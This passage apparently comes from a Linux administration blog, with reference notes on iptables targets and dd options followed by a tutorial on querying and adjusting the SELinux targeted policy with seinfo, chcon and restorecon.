Specify the port or range of ports to use when masquerading. This option is valid only if a tcp or udp protocol has been specified with the -p option. If this option is not used, the masqueraded packet's port will not be changed.

REJECT

Drop the packet and, if appropriate, send an ICMP message back to the sender indicating the packet was dropped. If the packet was an ICMP error message, an unknown ICMP type, or a nonhead fragment, or if too many ICMP messages have already been sent to this address, no message is sent:
--reject-with type
Send specified ICMP message type. Valid values are icmp-net-unreachable, icmp-host-unreachable, icmp-port-unreachable, or icmp-proto-unreachable. If the packet was an ICMP ping packet, type may also be echo-reply.

SNAT

Modify the source address of the packet and all future packets in the current connection. SNAT is valid only as a part of the POSTROUTING chain in the nat table:
--to-source address[-address] [port-port]
Specify the new source address or range of addresses. If a tcp or udp protocol has been specified with the -p option, source ports may also be specified. If none is specified, map the new source to the same port if possible. If not, map ports below 512 to other ports below 512, those between 512 and 1024 to other ports below 1024, and ports above 1024 to other ports above 1024.

Examples

To reject all incoming ICMP traffic on eth0:
iptables -A INPUT -p ICMP -i eth0 -j REJECT

2010-03-15T10:51:00.000-07:00

dd options

Make a copy of an input file (if) using the specified conditions, and send the results to the output file (or standard output if of is not specified). Any number of options can be supplied, although if and of are the most common and are usually specified first.
Because dd can handle arbitrary block sizes, it is useful when converting between raw physical devices.
Options

bs=n

Set input and output block size to n bytes; this option overrides ibs and obs.

cbs=n

Set the size of the conversion buffer (logical record length) to n bytes. Use only if the conversion flag is ascii, ebcdic, ibm, block, or unblock.

conv=flags

Convert the input according to one or more (comma-separated) flags listed next. The first five flags are mutually exclusive.
ascii

EBCDIC to ASCII.

ebcdic

ASCII to EBCDIC.

ibm

ASCII to EBCDIC with IBM conventions.

block

Variable-length records (i.e., those terminated by a newline) to fixed-length records.

unblock

Fixed-length records to variable-length records.

lcase

Uppercase to lowercase.

ucase

Lowercase to uppercase.

noerror

Continue processing after read errors.

notrunc

Don't truncate output file.

swab

Swap each pair of input bytes.

sync

Pad input blocks to ibs with trailing zeros.

count=n

Copy only n input blocks.

ibs=n

Set input block size to n bytes (default is 512).

if=file

Read input from file (default is standard input).

obs=n

Set output block size to n bytes (default is 512).

of=file

Write output to file (default is standard output).

seek=n

Skip n output-sized blocks from start of output file.

skip=n

Skip n input-sized blocks from start of input file.

--help

Print help message and then exit.

--version

Print the version number and then exit.

You can multiply size values (n) by a factor of 1024, 512, or 2 by appending the letter k, b, or w, respectively. You can use the letter x as a multiplication operator between two numbers.
Examples

Convert an input file to all lowercase:

dd if=caps_file of=small_file conv=lcase

Retrieve variable-length data and write it as fixed-length to out:

[data_retrieval_cmd] | dd of=out conv=sync,block

2010-03-13T21:25:00.000-08:00

Under the hood of Targeted Policy

To understand any SELinux policy, use the informative command—seinfo.

[root@vbg ~]# seinfo

Statistics for policy file: /etc/selinux/targeted/policy/policy.21

Policy Version & Type: v.21 (binary, MLS)

Classes:            61    Permissions:       220

Types:            1513    Attributes:        148

Users:               3    Roles:               6

Booleans:          210    Cond. Expr.:       186

Sensitivities:       1    Categories:       1024

Allow:           82518    Neverallow:          0

Auditallow:         28    Dontaudit:        5086

Role allow:          5    Role trans:          0

Type_trans:       1398    Type_change:        17

Type_member:         0    Range_trans:        23

Constraints:        47    Validatetrans:       0

Fs_use:             15    Genfscon:           64

Portcon:           264    Netifcon:            0

Nodecon:             8    Initial SIDs:       27

seinfo is a policy query tool that queries policy files and provides vital information about it. When executed without any arguments, it queries the default loaded policy file.

As you can see the policy file read by the seinfo tool by default is /etc/selinux/targeted/policy/policy.21. Installed by the selinux-policy-targeted RPM, this file contains the binary Targeted Policy.

The second line of the above output mentions that this is a binary policy with MLS (Multi Level Security). We will come to MLS in the later part of this series.

Now comes the interesting part of the output. You can clearly see various components of the policy. We will discuss these components in the course of these articles. Let us concentrate on a few important ones right now.

A typical security context as we discussed in Part 1 of this series, is of the type:

User Identity:Role:Type/Domain

As we can see from the above, in the default SELinux Targeted policy, there are:

Users (3 in number)
Roles (6 in number)
Types (1,513 in number)

This means that any object or subject in the SELinux Policy installed in the system can have one of three user identities, one of six roles and one of the available 1,513 types.

To list user identities defined in the SELinux Targeted Policy, run the following command:

[root@vbg ~]# seinfo -u

Users: 3

system_u

root

user_u

Do check all possible security contexts for objects (files, dirs, etc) and subjects (processes) in your system. The user identitity component of the Security context will have one of the above three identities and nothing else.

Similarly, to check the available roles, use the following code:

[root@vbg ~]# seinfo -r

Roles: 6

staff_r

user_r

object_r

secadm_r

sysadm_r

system_r

And please check the available list of types yourself by using the command given below:

[root@vbg ~]# seinfo -t

Thus we now know that any existing object or subject in the system will have a security context created out of these three users, six roles and 1,513 types.

You can alter the security context of any object by using the chcon command.

To change the type of an object, use chcon -t. To change the user identity, use chcon -u and chcon -r for role.

To test the above, create an empty file “context” in the /tmp directory and check its default security context:

[root@vbg ~]# touch /tmp/context

[root@vbg ~]# ls -lZ /tmp/context

-rw-r--r--  root root user_u:object_r:tmp_t:s0         /tmp/context

To change the type of this object from tmp_t to unconfined_t, use the code below:

[root@vbg ~]# chcon -t unconfined_t /tmp/context

[root@vbg ~]# ls -Z /tmp/context

-rw-r--r--  root root root:object_r:unconfined_t:s0    /tmp/context

I leave it as an exercise for you to change the role and the user for this object. If you face any issues, feel free to contact me at the e-mail ID provided below.

Assuming that, as above, you have changed the security context of an object quite a few times and you would like to revert back to the original/default security context, restorecon comes to the rescue.

restorecon restores files to their default security contexts. The verbose option of the restorecon command also displays the changes made in the security context. To check the usage of this very handy command, look at the example below:

[root@vbg ~]# touch /home/vbg/test-context

[root@vbg ~]# ls -Z /home/vbg/test-context

-rw-rw-r--  vbg vbg

user_u:object_r:user_home_t:s0         /home/vbg/test-context

[root@vbg ~]# chcon -t tmp_t /home/vbg/test-context

[root@vbg ~]# ls -Z /home/vbg/test-context

-rw-rw-r--  vbg vbg user_u:object_r:tmp_t:s0         /home/vbg/test-context

[root@vbg ~]# restorecon -v /home/vbg/test-context

restorecon reset /home/vbg/test-context context user_u:object_r:tmp_t:s0->user_u:object_r:user_home_t:s0

[root@vbg ~]# ls -Z /home/vbg/test-context

-rw-rw-r--  vbg vbg user_u:object_r:user_home_t:s0   /home/vbg/test-context

The above snippet shows the utility of the restorecon command. It reads the default contexts to be applied from the policy files and applies the default security context to a file/directory object.

A word of caution when using restorecon: DO NOT use the command with the -r (recursive) option. It may overwrite the security contexts of some important files in the system that you may have changed.

If you think that you have spoilt the security contexts of the files in your system beyond recovery, do not panic. Help is available in the form of Auto-Relabel, at boot. Simply create an empty file /.autorelabel. Please note that it is a hidden file.

[root@vbg ~]# touch /.autorelabel

[root@vbg ~]# reboot

Following the procedure mentioned above will cause SELinux to relabel the files on your system upon rebooting. Please use this to fix any improper security context on files and directories.

You can also use the fixfiles command to achieve the above. fixfiles can prevent you from rebooting your system but may not be as effective. Depending on the options and time available, you can choose any option that suits you—though I would suggest the reboot option.

2010-03-13T21:24:00.000-08:00

Understanding various types of policies

By definition, an SELinux policy is a collection of rules for SELinux Mandatory Access Controls. Each one of us can make a policy to suit our needs much like we define firewall rules through iptables. There can be no standard policy that can apply to all situations.

By default, there are two policies shipped along with Red Hat Enterprise Linux: Targeted and Strict.

The Targeted Policy is the first step in assisting system administrators to understand and implement SELinux. It only ‘targets’ certain network daemons such as the Apache Web server, FTP server, BIND DNS server and a few others, while leaving the vast majority of end-user applications largely untouched. It creates an ‘unconfined’ domain ‘confinement’ (interesting paradox, isn’t it?) and does not apply Access Control Restrictions to most applications in the unconfined domain.

This allows sysadmins to concentrate on the really vulnerable network applications and services while not interfering with their daily tasks.

Once the nuts and bolts of SELinux are clear to administrators, they should move forward towards implementing the SELinux Strict Policy.

The Strict Policy, on the other hand, is a true restrictive Access Control Policy. Before implementing this policy, make sure you understand SELinux concepts and policies well